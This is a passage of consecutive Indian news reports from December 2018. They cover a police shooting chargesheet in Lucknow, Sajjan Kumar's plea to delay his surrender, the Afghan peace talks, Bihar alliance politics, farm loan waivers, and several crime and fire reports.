spur of the moment. Chowdhary has been chargesheeted under Section 302 (murder) of the Indian Penal Code (IPC). Constable Sandip Kumar, who was with Chowdhary at the time of the incident on the intervening night of September 28-29, has been given a clean chit from murder charges and has been chargesheeted under Section 323 of the IPC for voluntarily causing hurt to Tewaris ex-colleague Sana Khan who was also in the SUV. On the fateful day, constables Prashant Chowdhary and Sandip Kumar, who were on a police motorcycle, tried to intercept Tewaris SUV near Maqdoompur police outpost reportedly for routine checking. Chowdhury fired shot on Tewari from his service pistol when he did not stop. The bullet hit Tewari below the chin leading to his death. The two constables were arrested and are presently in jail. Chowdhary had earlier claimed that he opened fire on Tewari, who was in the SUV along with Sana Khan, when the latter tried to run him over. However, the SIT found that Tewari was trying to leave the spot when his SUV was intercepted by the constables. In the process, the SUV slightly hit the patrol motorcycle and damaged it partially. A member of the SIT and main investigating officer in the case, inspector Vikas Pandey, said the charge sheet would be filed in the competent court in another two days. Another SIT member said the statements of 68 people, including police personnel, doctors, lone eyewitness Sana Khan and the two accused constables, were recorded during investigation. He said the conclusion was drawn on the basis of ballistic report of Chowdharys service pistol, opinion of forensic experts and automobile experts. Three video footages were also included in the investigation, he added. Another SIT member confirmed that the report had also recommended action against the then inspector DP Tewari and IPS officer Chakresh Mishra, who was posted as Gomti Nagar circle officer at the time of incident. Action has been recommended after finding lapses in following legal procedure after the incident. Chowdhary was given special privilege at Gomti Nagar police station, he said. Congress leader Sajjan Kumar, convicted to serve the rest of his life in jail for killing five people in 1984 anti-Sikh riots, has asked the Delhi high court to let him spend 30 more days with his family. In a 15-point request to put off his jail term by a month, Kumar has spoken about how the high courts verdict finding him guilty had stunned him and needed time to prep for the jail sentence. The Delhi high court had earlier this week overturned Sajjan Kumars acquittal by a lower court and held him guilty of torching a family of five in west Delhis Raj Nagar during the riots in Delhi nearly 34 years ago. Spending some more time with his family including his eight grandchildren was Sajjan Kumars top reason to request the court to give him some grace period before he starts his jail term. Justices S Muralidhar and Vinod Goel had given the 73-year-old politician, who was considered a Congress strongman in the scores of villages on the outskirts of the national capital, time till 31 December to surrender. Foremost among the reasons stated in his application seeking a delay in his surrender was the fact that he has eight grandchildren aged between 25 years and five years. The application also states that he has a big family, both from maternal and paternal side. The application states that the 73-year-old needs to settle matters related to his property. In the second reason listed in his application, Sajjan Kumar states that he is at present under shock and surprise in view of the order of acquittal having been set aside and conviction and goes on to say that the applicant believes he is innocent. His third reason states that he needs time to settle his family affairs including affairs with regard to the properties of his. The application stated that he would not be in a position to settle them within the short span of time granted by the court. In his application, Sajjan Kumar sought the additional days to meet his close relatives, near and dear ones including friends who have been associated with him over a period of 73 years of his life. Advocate Anil Sharma, through whom the application was submitted, stated that they also needed more time so that they could file an appeal before the Supreme Court challenging the high courts verdict. On December 17, the Delhi High Court had reversed the Trial Courts order acquitting him in the 1984 anti-Sikh riots case and had held him guilty of the charges levelled against him. The court had also slapped a fine of 5 lakh on Kumar. The case pertained to the murders of five members of a family in the Raj Nagar area Delhi Cantonment area during the 1984 riots. Sajjan Kumars conviction and sentencing came on a day when the Congress was celebrating its victories in three states and had given the BJP a fresh handle to attack the opposition party. Riding on Sajjan Kumars conviction, the BJP and the Akali Dal had criticised the Congress for making Kamal Nath the chief minister of Madhya Pradesh. Both BJP and SAD alleged that Nath had played an active role in the 1984 anti-Sikh riots. Both Nath and Congress have denied the charges. Responding to the BJPs charge, Congress had said that the issue should not be politicised. It should not be linked to the political atmosphere prevailing in the country. The law should take its course, there are appeals. No political benefit should be derived from this, senior Congress leader Abhishek Manu Singhvi said. India is watching with increasing wariness recent efforts to broker a political solution to the 17-year-old war in Afghanistan and has conveyed to the US its concerns about Pakistans role in this process, several people familiar with the latest developments said. The developments coincide with a shift in Indias position on the Afghan Taliban from one of having no engagement with the militants who control or contest almost half of Afghanistans territory, to that of some form of engagement, as evidenced by New Delhis non-official participation in the so-called Moscow format talks in Russia on November 9. Officials in New Delhi have kept a wary eye on the two-day talks between the US special envoy for Afghanistan, Zalmay Khalilzad, and a Taliban delegation that ended in Abu Dhabi on Tuesday. The meeting was also attended by officials of Pakistan, Saudi Arabia and the UAE, the only countries that recognised the erstwhile Taliban regime in Kabul. Though the Afghan government sent a delegation to Abu Dhabi led by chief negotiator Abdul Salam Rahimi, the Taliban refused to meet with it. It was also noted in New Delhi that Khalilzad flew directly from the UAE to Pakistan, where he briefed only army chief Gen Qamar Bajwa on Wednesday, before travelling to Kabul to brief the Afghan leadership, including President Ashraf Ghani. People familiar with developments and briefed on recent talks with the Taliban believe the search for a solution in Afghanistan will be a long process but said there were reasons to be wary about ongoing processes backed by the US and Russia. New Delhis concerns about Pakistans efforts to shape the processes to its advantage and to counter Indias presence in Afghanistan have also been conveyed to the US, they said. It is hoped the US will stay the course because the security situation in Afghanistan hasnt improved. The US has done some capacity-building with the Afghan national forces but it isnt clear how effective this has been, said one person. Pointing to the presence of Lashkar-e-Taiba, al-Qaeda and Islamic State in Afghanistan, the person said: We dont see the US withdrawing and leaving Afghanistan to itself any time soon, they have a commitment not to allow Afghan territory to again become a crucible of terrorism. A second person briefed on the talks said: One issue is that the US has set the bar so low they are intent on getting out because of the pressure from the Trump administration to do so before the 2020 elections. Everyone is in a rush to do things. A third person familiar with the developments said: Pakistan wants an end to the status quo it sees India has having used its improved relationship with the US to enhance its presence in Afghanistan and wants to end that. But many Pakistanis dislike or distrust Khalilzad, and the same goes for the Afghans. So you have a witches brew, the third person added. Despite Pakistans efforts to shape the talks with the Taliban, officials in New Delhi pointed to public remarks by the US leadership, including President Donald Trump, acknowledging Indias stake in peace and stability in Afghanistan. In this regard, they pointed to Trumps reference to India in his strategy for Afghanistan and South Asia unveiled in August last year. All the stakeholders see India as a party with a genuine stake in Afghanistans future. There is the work we have done to establish the trade and transit route via Chabahar port in Iran, which the US acknowledged by exempting it from sanctions, the first person said. The Afghan government knows we have a genuine interest in the countrys welfare and are not playing games. The people also said India believes that even if the Taliban is included in some form of power-sharing arrangement, the US will ensure it is not given a free hand. Explaining Indias shift on engaging with the Taliban, the first person said: In practical terms, the option of not talking to the Taliban will have no traction in the current circumstances. You can be in a situation where you have no contact at all, or in a situation where you have some contact, especially if the Taliban are part of some form of government in Kabul. Under attack for his comments linking job deprivation to influx of workers from Bihar and Uttar Pradesh, Madhya Pradesh chief minister Kamal Nath on Wednesday said other states including Gujarat also have policies favouring employment to locals, even as complaints were filed against him in Bihar courts. Some BJP MPs also raised the issue in Parliament, accusing MPs newly-appointed chief minister of inciting hatred against people of other states. Lot of industries are set up in which people from other states, like Uttar Pradesh and Bihar, come to work. I do not want to criticise them, but the youth of Madhya Pradesh are deprived (of jobs), Nath had said on Monday announcing a new state government policy under which industries availing investment incentives will need to give 70 per cent employment to local youths. The remarks, made by Nath soon after he was sworn in, had drawn all-round criticism, with parties like the BJP, RJD and JD(U) expressing their disapproval. Defending his comments, Nath told reporters on Wednesday in Bhopal, Such policy exists in other states also. Is it not there in Gujarat? What is new in it? Naths predecessor Shivraj Singh Chouhan, however, took a jibe saying no one was an outsider in Madhya Pradesh and it is known as heart of India for accepting everyone as its own. Taking objection to the comments, a social activist, however, filed a complaint against Nath in a court in Muzaffarpur, Bihar, while alleging that the remarks made by the new chief minister of Madhya Pradesh were insulting for the people of Bihar and Uttra Pradesh and they were feeling aggrieved. Tamanna Hashmi, the activist who has filed several complaints in the past against politicians making controversial comments, filed his plea against Nath before the Chief Judicial Magistrates court under IPC sections 153 (provocation with intent to cause riot), and 504 (intentional insult with intent to provoke breach of peace). In the complaint, the petitioner has claimed he felt aggrieved by Naths statement, alleging it was against the countrys unity. The court is yet to fix a date for hearing of the complaint case. In Bihars West Champaran district, advocate Murad Ali filed a complaint in the court of Chief Judicial Magistrate Jairam Prasad, alleging that Naths remark could have an adverse effect on the sovereignty and integrity of the country. The matter has been posted for hearing on February 3. The senior Congress leaders remarks, which he made shortly after being sworn in as Madhya Pradeshs chief minister, has drawn flak from the ruling JD(U)-BJP combine in Bihar. The RJD, an ally of the Congress in Bihar, has also termed the remarks as avoidable, though it accused the BJP of blowing the matter out of proportions. In Rajya Sabha, Chairman M Venkaiah Naidu allowed BJPs Bhupendra Yadav to make his submission on Naths statement amid slogan-shouting from the opposition as well as treasury benches over the Rafale deal and other issues. Yadav said a person holding a constitutional post cannot incite hatred against persons of other states and so his Zero Hour mention on the subject be taken on record. In Lok Sabha also, Sanjay Jaiswal, BJP MP from West Champaran in Bihar, slammed Nath for his remarks. The comments by various political leaders in the past about influx of migrant workers in their respective states, most noticeably in Maharashtra, have often triggered controversies. In October this year itself, Gujarat had seen widespread protests against migrants from Uttar Pradesh, Bihar and other states. Prime Minister Narendra Modi is likely to be on a two-day visit to his home state Gujarat from December 21 to attend the annual conference of state Director Generals of Police (DGP) and preside over the BJPs womens wing convention. The three-day annual conference of state DGPs, for which a new venue within India is selected every year, is being held at the convention facility at the newly constructed Statue of Unity in Gujarats Narmada district this time. At 182 metres, this tallest statue in the world was inaugurated by Modi in October. The DGPs conference began Thursday morning with Union home minister Rajnath Singh and his deputy Kiran Rijiju in attendance. This is the second time in three years that Gujarat is hosting the annual DGP conference. In 2015, it was held at the Rann of Kutch. The last conference was held at the Tekanpur BSF Academy in Madhya Pradesh in January 2018. Meanwhile, on December 22, Modi is also expected to address the BJP womens wing national convention scheduled to be held at Gandhinagar. India on Thursday asserted that Jinnah House, the bungalow in Mumbai built by Pakistans founder Mohammad Ali Jinnah, is its property and that it will fight any claim to the structure from any quarter. External affairs ministry spokesperson Raveesh Kumar made clear that the Indian governments position soon after Pakistan foreign office spokesman Mohammad Faisal said Islamabad would not relinquish its claim to the palatial marble and wood structure in Malabar Hill. They [Pakistan] have no locus standi as far as this property is concerned, this is a government of India property and we are in the process of renovating it and putting it into effective use on the lines of what we do with Hyderabad House in New Delhi, Kumar told a weekly news briefing, referring to the erstwhile home of the Nizam of Hyderabad that is used for banquets and meetings with foreign leaders. Our stand is very clear. This is our property and if there is somebody who contests it, this is something which we will have to fight. There is no doubt in our mind that this is anybody elses property, Kumar said. In a briefing at the foreign office in Islamabad, Faisal said Pakistan continues to exercise its rightful claim to Jinnah House and will act against any occupation attempts. He added, Even India has acknowledged our claim. Faisals remarks about not relinquishing Pakistans claim on the house came a day after it emerged that external affairs minister Sushma Swaraj had written a letter to BJP legislator Mangal Prabhat Lodha in which she said her ministry is in the process of transferring the ownership of the property in our name. Jinnah had built the house in 1936 on a 2.5-acre plot. The building was designed by architect Claude Batley and stands opposite the Maharashtra chief ministers official residence. The protected heritage structure was the venue of a crucial meeting between Jawaharlal Nehru, Mahatma Gandhi and Jinnah before Partition. Pakistan has made several requests over the years for the property to be handed over to it for setting up a consulate in Mumbai. SHARE THIS ARTICLE ON Union home minister Rajnath Singh on Thursday warned of an alliance between extremist Sikh groups, Pakistan-based Islamist outfits and Kashmir-focused terror groups, which Islamabad is seeking to forge to hurt India. He referred to the recent terror attacks in Punjab and said they indicate concerted efforts on part of Pakistan and Sikh extremist elements based there to revive terrorism in the state. He said it was being done with active support from Sikh radical and extremist entities based abroad, especially in Europe and America. The Pakistani establishment is seeking to forge an understanding between Sikh extremist groups and Pakistan-based Islamist outfits as well as Kashmir-centric terrorist groups for targeting Indian interests, said Singh. He was speaking on the opening day of the annual conference of top state police officers in Gujarats Kevadia, where Prime Minister Narendra Modi inaugurated the tallest statue dedicated to the countrys first home minister Sardar Vallabhbhai Patel in October. Singh asked security agencies to check efforts to revive terrorism in Punjab, where three people were killed and over 20 injured in a grenade on a religious congregation in Amritsar last month. He hit out at Kashmiri separatists, saying they exploit every situation to fan anti-India sentiments and violence. He called financing from Pakistan for militants and separatists a cause of concern. Singh blamed Pakistan for perpetrating terrorist attacks in Punjab and Kashmir, where over 400 people have been killed this year. The toll is the highest there since 2008 when 505 people were killed. Singh said the security situation in Kashmir continues to be vitiated even though stone-throwing protests have declined. Attempts by militants to infiltrate in large numbers, intermittent attacks and efforts to recruit locals continue. The terror infrastructure in Pakistan and Pakistan Occupied Kashmir remains in the form of training camps, launching pads and communication control stations. Singh said terrorism has been stamped out elsewhere. He added the law enforcement agencies have managed to thwart the Islamic State (IS)s the first tide of propaganda and mobilisation through Intelligence Bureaus concerted coordinated action. Consequently, India witnessed very few incidents of IS-inspired violence. In concerted counter-terrorism operations, law enforcement agencies have arrested nearly 125 suspected terrorists this year as against 117 arrested in 2017, he said. Singh said the new phase of IS propaganda emanating from Afghanistan-Pakistan region was being countered effectively. He added economic installations and iconic institutions were being continuously targeted from Pakistan through espionage and cyberspace. Pakistan continues to abet terrorism and during the period from January 1, 2017, to November 29, 2018, as many as 17 [Pakistan]s ISI [Inter-services intelligence]-backed espionage modules have been neutralised resulting in the arrests of 25 espionage agents which include two Pakistanis. He said organisations like the Indian Army, Air Force, Navy, and Airports Authority of India have been targeted from across the border through spoofed/crank calls to elicit sensitive information. (With agency inputs) The scheme of former chief minister Raman Singh to give smartphones to five million families in Chhattisgarh was stopped by new state CM Bhupesh Baghel on Wednesday, officials said. Singh had introduced the scheme about six months ago as a poll sop and a telecom operator was selected to distribute the phones to the families. There are lots of questions that needs to be answered related to allocation of a tender to a particular service provide. Everything related to the scheme is under scrutiny, said a senior Indian Administragtive Service officer, after the CM held a meeting on the scheme. The Chhattisgarh government on Wednesday issued a press release saying that the distribution of the smartphones under Sanchar Kranti Yojana (SKY) scheme has been postponed till further orders. About two million phones are yet to be distributed and hence the distribution is postponed till the issues involving the tender is resolved. The other reason for stopping the scheme is some technical issues with the smart phones that have been distributed, the officer said, adding that the phone displays picture of Raman Singh and there are some applications of the earlier BJP government which need to addressed. Another officer in the chief minister office said there were also complaints about the smart phone performance and in some cases the phone had burst because of overheating. Bharatiya Janata Party spokesperson Sacchinnand Upasane said: The scheme was for the development and welfare of people of Chhattisgarh but Congress did not want the progress of Chhattisgarhi people. It is sad that SKY scheme has been postponed. The Raman Singh government had planned to distribute 4.06 million smartphones to the women heads of rural households, 5.60 lakh to women heads of urban poor households, and about four lakh to college students both boys and girls. The Raman Singh government initiated smartphone distribution in May 2018 and was planning to complete it by the end of March 2019. Former Congress leader Sajjan Kumar, who was convicted and sentenced to jail for the remainder of his life in the 1984 anti-Sikh riots case on December 17, has moved an application before the Delhi High Court and has sought 30 days time to surrender. The court is likely to hear his application tomorrow. Senior advocate HS Phoolka, who has been fighting the case for the victims of the 1984 riots, said that they will oppose Sajjan Kumars application. Sajjan Kumar has filed an application in Delhi High Court to give him a month to surrender. We will oppose that application tomorrow, Phoolka said. Sajjan Kumar was appearing in court in another case in the 1984 anti-Sikh riots case. Kumar surrendered his mobile phone before the court following its December 17 directions. The court adjourned the matter for January 22 after he said his main counsel was unavailable. In his application, Sajjan Kumar stated that he had been on bail throughout the trial and is currently under shock and surprise in view of the order of acquittal having been set aside and the Applicant (Sajjan Kumar) convicted... The application, which seeks time till January 31 for his surrender, also states that in view of the present position, [he] would not be in a position to settle his family affairs including affairs with regard to the properties of his within short a span of time. The application also states that he has to settle his family affairs including affairs related to inheritance and other issues. The application also said that the Applicant (Sajjan Kumar) is seeking extension as applicant has statutory remedy to file an appeal for which he has to engage senior counsels in the Honble Supreme Court of India and brief the Senior counsels. Presently most of the senior advocates are on holidays as the Honble Supreme Court is closed for vacation In the case before the trial court, three persons -- Kumar, Brahmanand Gupta and Ved Prakash -- are facing trial on charges of murder and rioting pertaining to the killing of Surjit Singh in Sultanpuri. On December 17, Sajjan Kumar had been convicted by the Delhi High Court after it reversed the Trial Courts order acquitting him in the case. The court also slapped a fine of 5 lakh on him in the case. A day after being convicted and sentenced, Sajjan Kumar had resigned from the primary membership of the Congress in a letter to party president Rahul Gandhi. The case relates to the murder of five members of a family during the anti-Sikh riots in the Raj Nagar area in Delhi Cantonment on November 1, 1984. What happened in the aftermath of the assassination of the then Prime Minister was carnage of unbelievable proportions in which over 2,700 Sikhs were murdered in Delhi alone. The law and order machinery clearly broke down and it was literally a free for all situation which persisted. The aftershocks of those atrocities are still being felt, justice S Muralidhar and justice Vinod Goel said while handing the 203-page judgement. The judges recalled the violence in which thousands of Sikhs were killed, some burnt alive, as their houses were destroyed in Delhi and across the country. A majority of the perpetrators of these horrific mass crimes, enjoyed political patronage and were aided by an indifferent law enforcement agency ... The criminals escaped prosecution and punishment for over two decades. There was an abject failure by the police to investigate the violence which broke out in the aftermath of the assassination of the then Prime Minister Smt. Indira Gandhi is apparent from the several circumstances highlighted hereinabove. There was an utter failure to register separate first report information in the case of five deaths in which Congress leader Kumar and others were sentenced. The failure to record any incident whatsoever in the DDR and the lack of mention of PW-1s statement therein, amongst other circumstances, established the apathy of the Delhi Police and their active connivance in the brutal murders being perpetrated, the court had observed. SHARE THIS ARTICLE ON The Congress-led United Progressive Alliance (UPA) received a shot in the arm on Thursday with the Rashtriya Lok Samta Party (RLSP) of Upendra Kushwaha, a former constituent of the Bharatiya Janata Party (BJP)-led National Democratic Alliance (NDA), joining its grouping in the electorally crucial state of Bihar which sends 40 representatives to the Lok Sabha. Kushwaha told a crowded news conference held at the Congress headquarters in Delhi that his party will contest the 2019 Lok Sabha elections as part of the Mahagathbandhan (Grand Alliance) in Bihar. Apart from the Congress and the RLSP, the other major parties in the grand alliance are the Rashtriya Janata Dal (RJD) and the Hindustani Awam Morcha (HAM). The alliance is expected to pose a challenge to the ruling NDA that comprises the BJP, the Janata Dal (United) of Nitish Kumar and Ram Vilas Paswans Lok Janshakti Party (LJP), which has served the BJP with an ultimatum of finalising a seat-sharing pact by December 31. Seat-sharing talks between the constituents of the Mahagatbandhan are expected to begin soon. The Kushwaha community constitutes 6% of Bihars 100 million-population, according to the 2011 Census. The RLSP won three of the four seats it contested in the 2014 Lok Sabha polls. It defeated the RJD, which finished second in all the three constituencies. In all, the NDA won 31 of the 40 Lok Sabha seats from the state. Kushwahas party also enjoys electoral support in other regions of the state. In the 2015 assembly elections, the party contested in 23 constituencies spread across 17 Lok Sabha seats. While it managed to win just two of them, it came second in 19 seats and third in one. Its vote share was more than 20% in most of these seats. On the day the UPA displayed its renewed strength, the BJP stepped up its efforts to placate Paswan and his son Chirag. BJP chief Amit Shah met Paswan while party general secretary in-charge of Bihar Bhupendra Yadav held discussions with Chirag. Finance minister Arun Jaitley attended a meeting of the leaders at Shahs house. There is no unhappiness [in the NDA], Paswan told reporters at Parliament complex earlier in the day. According to BJP?leaders aware of the developments, Jaitley is likely to hold another round of talks with Paswan and Chirag. He will have a separate meeting with Bihar CM?Kumar, who is expected to arrive in Delhi on Friday. An announcement on seats is expected before December 31. Shah announced last month that the BJP and Nitish Kumars Janta Dal (United), which returned to the NDA last year, will contest equal number of seats in Bihar. He did not disclose the number, but leaders in the two parties claim the BJP and the JD(U) will contest 17 seats each. This formula leaves the LJP with six seats, which is one less than its 2014 share. On December 10, Kushwaha announced his resignation from the Union council of ministers and the NDA after seat-sharing talks with the BJP for the 2019 elections failed to take-off. Thursdays press conference announcing his admission into the alliance was attended by Congress treasurer Ahmed Patel, Loktantrik Janata Dal leader Sharad Yadav, HAM president and former Bihar chief minister Jitan Ram Manjhi, RJD leader Tejashwi Yadav and Congress partys Bihar in-charge Shaktisinh Gohil. Sharad Yadavs party is also part of the alliance. The Opposition has also planned a rally in Bihar on February 2 that will be addressed by Congress president Rahul Gandhi and other senior leaders of the bloc. Kushwaha said the Prime Minister has failed to deliver on his promise during the 2014 election campaign that he would address the issues of education, jobs and healthcare for the people of Bihar. There was a difference between his talk and action. I never believed there could be so much difference, he said. Kushwaha went on to praise Congress president Rahul Gandhi for delivering the promise of loan waiver for farmers in Madhya Pradesh, Rajasthan and Chhattisgarh. The first step of Congress governments in these states was to write off of the loans of farmers. Asked about the possibility of the LJP joining the UPA, Tejashwi Yadav said, Whether or not to join the grand alliance is their decision. But the countrys [political] climate is changing, you need to wait and see. He said the BJP has lost allies in the north, west, south and east of the country and a Mahagathbandhan against the NDA across India is in the making. This [Mahagathbandhan] is not the alliance of political parties. It is an alliance of the hearts of the people. It is the alliance of the new agreement of farmers and youths. This is the alliance of the commitment to social justice. This alliance is against dictatorship and mobocracy. It is the alliance for the people of the people, he said. The RJD leader too praised Gandhi, saying he had implemented his promises and was patiently building up a coalition of the Opposition parties. However, he was evasive about whether his party was open to the idea of Gandhi being the prime ministerial face of the combined Opposition. The issue is not who will be the Prime Minister, the issue is whether our Constitution, our country will be will be protected or not from the BJP onslaught. If we dont unite, people will not forgive us, Tejashwi Yadav said exuding hope that Akhilesh Yadav-led Samajwadi Party (SP) and Mayawatis Bahujan Samaj Party (BSP) would sooner or later become a part of the grand alliance. Like-minded parties opposed to the BJP are steadily uniting. Both the SP and the BSP need not be told, they know what they should do. And I believe their decision will be based on what the people of the country want, which is to get rid of the Modi government, he said. Patna-based political analyst Shaibal Gupta termed Kushwahas move a big disadvantage to the NDA. In the backdrop of a photo-finish in Madhya Pradesh and Rajasthan, every vote will matter. That should not be ignored. Its advantage to UPA even if his [Kushwaha] support base is limited, he said. Days after quitting the NDA over seat allocation for Lok Sabha polls, Upendra Kushwaha-led Rashtriya Lok Samta Party (RLSP) on Thursday joined the Grand Alliance in Bihar, partnering the Congress, Rashtriya Janata Dal and Hindustan Awam Morcha. The announcement was made at the AICC office in New Delhi, where RJD leader Tejashwi Yadav, Congresss Ahmed Patel and Loktantrik Janata Dal leader Sharad Yadav, among others, were present We are now part of the UPA. I was humiliated in NDA, Kushwaha said at the press meet. The RLSP leader alleged that Bihar Chief Minister Nitish Kumar and the BJP were conspiring to destroy his party. Kushwaha also announced that the alliance would hold a Jan Aakrosh (public discontentment) rally in Patna on Februay 2, 2019. Former deputy chief minister of Bihar Tejashwi Yadav, while welcoming Kushwaha said, We want to give an alternative to people of Bihar... we need to sacrifice our egos in the larger national interest and start work on forming a grand alliance at the national level also. The former Union ministers joining the combine is likely to give a boost to the alliance in Bihar to counter the NDA combine of Bhartiya Janata Party-Janata Dal(U)-Lok Janshakti Party. The Congress, Rashtriya Janata Dal, former Bihar chief minister Jitan Ram Manjhi-led Hindustani Awam Morcha (Secular) are already part of the United Progressive Alliance (UPA) and are seeking to give a fight to the National Democratic Alliance (NDA) in the upcoming Lok Sabha polls. Kushwaha quit the NDA in Bihar over the seat allocation for the 2019 Lok Sabha elections. He had been sulking since the BJP declared that the RLSP would not be given more than two seats in the 2019 Lok Sabha election, even as it went out of way to accommodate Kumar by agreeing that the saffron party and the JD(U) would fight equal number of seats. Since then, Kushwaha has reportedly been in talks with the Congress and other non-BJP parties and spared no occasion to attack the Nitish Kumar government. The woman Indian national Hamid Nehal Ansari sneaked into Pakistan to meet testified in a Pakistani court in an effort to clear him though the two never got a chance to meet. Ansari, 33, was arrested in Pakistan in 2012 for illegally entering the country from Afghanistan to meet the woman he befriended online. He was held incommunicado for three years before he was given a three-year jail term by a military court in December 2015 on charges of espionage and possessing fake documents. The girl for whom he went to Pakistan actually testified in his favour, that he came to meet her but he was (still) put in jail, external affairs ministry spokesperson Raveesh Kumar said on Thursday. On Tuesday, Ansari was repatriated via the Wagah-Attari border crossing after he completed his prison term. On Wednesday, Ansari and his mother met external affairs minister Sushma Swaraj, who asked him how he had ended up in Pakistan. He explained that through a twist of circumstances, he fell in love with a girl and in pursuit of that girl, he followed her and landed up in Pakistan, Kumar said. There, he was arrested on suspicion of being a spy. He spent more than the time for which he was sentenced and now he is back. People familiar with the case said Ansari never met the woman though she testified on his behalf in a court. They said he decided to travel to Afghanistan and sneak into Pakistan after his application for a Pakistani visa was denied. After he was arrested, Ansari was made to sign a paper which had something written on it in a language he didnt know. It was after this that he was charged with spying, one of these people said on condition of anonymity. Ansari, who reached his home state Maharashtra on Thursday and was welcomed by friends and family, said he learnt three lessons in the past six years do not love anyone on Facebook, do not hide anything from your parents and follow legal procedures while travelling to other countries. I was worried and unsure if I would ever be able to return home from Pakistan, but eventually when I saw there were a lot of people supporting me, I started praying. My family, the Indian government and Sushma Swaraj helped me a lot, he said. I want to celebrate with my family, after that I will start looking for a job and only then will I marry and settle down, Ansari told reporters. The resident of Versova jokingly added, I am thinking I will approach Aamir (Khan) for a movie to be made on me. Ansari said he wanted to meet the woman because she was in distress. Two days after newly elected Congress governments announced farm loan waivers in Madhya Pradesh and Chhattisgarh, Rajasthan chief minister Ashok Gehlot announced a similar relief on Wednesday, clearing short-term loans of up to Rs 2 lakh from cooperative and nationalised banks. The move will lead to a burden of Rs 18,000 crore on the state exchequer, Gehlot said. Congress chief Rahul Gandhi promised farm loan waivers within 10 days of coming to power ahead of the recent assembly elections in which his party defeated the Bharatiya Janata Party (BJP) to clinch power in the three heartland states. Entire short-term crop loan from cooperative banks will be waived. Along with this, farm loan of up to Rs 2 lakh from nationalised and other banks will also be waived, Gehlot told reporters after a meeting. About four million farmers will benefit from the move, according to the governments estimates. Also read: Its done, tweets Rahul Gandhi after Congress ruled states waive farm loans While announcing the move, the Rajasthan CM took a dig at the previous Vasundhara Raje-led government, which had announced farm loan waivers from cooperative banks of up to Rs 50,000 in the budget for 2018-19. The last (BJP) government breached the promise of farm loan waiver and provided just Rs 2,000 of the total Rs 8,000 crore needed to provide relief to the farmers. As the burden of remaining Rs 6,000 crore was falling on us, we decided that instead of Rs 50,000, we will waive off farm loans of up to Rs 2 lakh, Gehlot said. BJP spokesperson Mukesh Pareek said the Congress government should inform the people about the source of the money needed to waive the farm loans in the state. It is a welcome move, but it should not remain a mere announcement, he said. SS Somra of Rajasthan Universitys economics department said this type of a loan waiver is not productive for the economy and can have a negative impact in the long run. These are political decisions but in the long term not in the countrys interest. Those sincerely paying the loan amount may get disappointed, he said. A cousin of a schoolgirl, who had succumbed to burn injuries early on Thursday after being set afire by two bike-borne men in Agra, allegedly committed suicide by consuming some poisonous substance on Thursday. The Class 10 girl was set on fire by two unidentified bike-borne men on Tuesday when she was returning from her school. She sustained 70% burns and was referred to Safdarjung Hospital in Delhi where she died at about 1.30 am on Thursday. The name of the deceased cousin has been withheld to protect the schoolgirls identity. According to police, the family of the 25-year-old man said that he had gone to Delhi to meet his cousin and was disturbed after seeing her condition. He returned to Agra late on Wednesday night and complained of vomiting on Thursday morning. His neighbours admitted him to a hospital where he died in the afternoon. I could not interact with him after he returned from Delhi otherwise I would have consoled him. He would not have taken this extreme step then, his mother said. The death of the cousin has complicated the girls murder as police are still clueless about the culprits who set her afire. Police did not say much about the suicide but said it was cannot be treated as isolated. It is certainly a parallel development that requires investigation. We will closely examine the matter before jumping to any conclusion, SSP, Agra, Amit Pathak said. He said there was no police pressure on the girls cousin. He was never taken into custody by the police. He had gone to Delhi on his own. We were supposed to question people related to the girl and we did so, he said. He was disturbed about his cousins health and had gone to Delhi to see her. He had completed BEd and was about to join a job in Agra, another cousin of the deceased said. A level-2 fire broke out in the basement of Trident Hotel, at Nariman Point, on Wednesday, at 11.04pm. No casualties were reported. An official from the civic disaster management department said, The fire brigade received a call from the hotel at 11.15pm, and fire engines from the Nariman Point fire station were rushed to the spot. Six fire tenders were rushed to the spot to douse the flames. The cause of the fire is yet to be ascertained.. The Noida Sector 24 police arrested four people in the early hours of Wednesday morning, after an encounter in Sector 54, and recovered more than 50kg of marijuana worth Rs 20 lakh, from them. The drugs were allegedly being smuggled in from Odisha. According to the police, they were tipped off that the accused would be passing by the Spice Mall in Sector 25A in a white car. Based on this, a checkpoint was set up. When they reached the spot around 11.30pm, the accused broke through the barricading and fired at the police team. They fled the spot, and went towards Sector 54, Pankaj Pant, station house officer, Sector 20 police station, said. He said the car hit a tree a little later after which the police were able to nab the four accused, while two of their accomplices managed to flee. The car was seized, and two pistols were recovered from the accused. The arrested accused are residents of Bihar and have been identified as Mangal Lal (23), Gunjan Rai (26), Gulshan Yadav (25) and Rajiv Yadav (31), while Angad and Ranjan are on the run. Police officers found 50kg marijuana hidden in the car. The marijuana had been hidden in compartments made under the seats and in the boot, and is valued at Rs 20 lakh. They were bringing the drugs in from Odisha via Kolkata and Bihar, Pant said. He added that two members of the gang had been arrested earlier this year, during which the police recovered 15kg marijuana. We are on the lookout for the other members of the gang, and their suppliers, Pant said. He added that the accused, during questioning, said they supplied drugs near schools and colleges in the district, along with metro stations. The police said they are on the lookout for such spots and will conduct raids at suspected spots. The four accused were produced before a magistrate and sent to jail. Lok Janshakti Party (LJP) parliamentary board chairman Chirag Paswans virtual ultimatum to the BJP over seat-sharing agreement has generated hope among Grand Alliance (GA) leaders of witnessing another desertion from the National Democratic Alliance (NDA). BJPs silence on seat adjustment with its allies has already led to the exit of Upendra Kushwaha-led Rashtriya Lok Samata Party (RLSP) on December 10. Senior Congress leader Ahmed Patel has already met him and invited his party to join the GA. The ultimatum served by Paswan on Twitter hints at another jolt for the NDA. Such aggressive language is used by a coalition partner only if it feels uncomfortable in staying together. Congresss success in three major states has put the NDA under strain, said AICC media panellist and MLC Prem Chandra Mishra. The RJD too is hopeful that the LJP would part ways with the BJP. RJD chief Lalu Prasad had rechristened LJP chief Ram Vilas Paswan as mausam vagyanik (weather scientist), saying that he foresees the political scenario and ties up with the party that was sure to come to power, said RJD spokesman and MLA Bhai Birendra. Birendra said the GA would welcome Ram Vilas Paswan in case he walked out of the NDA. After Chandrababu Naidu-led TDP deserted the NDA, the RLSP, which has three MPs, also left the ruling coalition. The LJP is another significant partner of the NDA in Bihar as it not only won six Lok Sabha seats in 2014, but also enjoys considerable support among the scheduled castes, including the Mushar community. All India Congress Committee (AICC) in-charge for Bihar Shaktisinh Gohil refrained from making any comments over growing squabbling within the NDA, but said the party was keeping a watch on it. I will comment at the right time, said Gohil. A section of senior Congress leaders, however, expressed optimism about further crack in the NDA in coming weeks. Facing mounting backlash at home and abroad, United States President Donald Trump is defending his decision to withdraw American troops from Syria, saying it should not come as a surprise as it had been a campaign promise and that its time for others to pick up the war against the Islamic State (IS). He had earlier said the war was over, and the 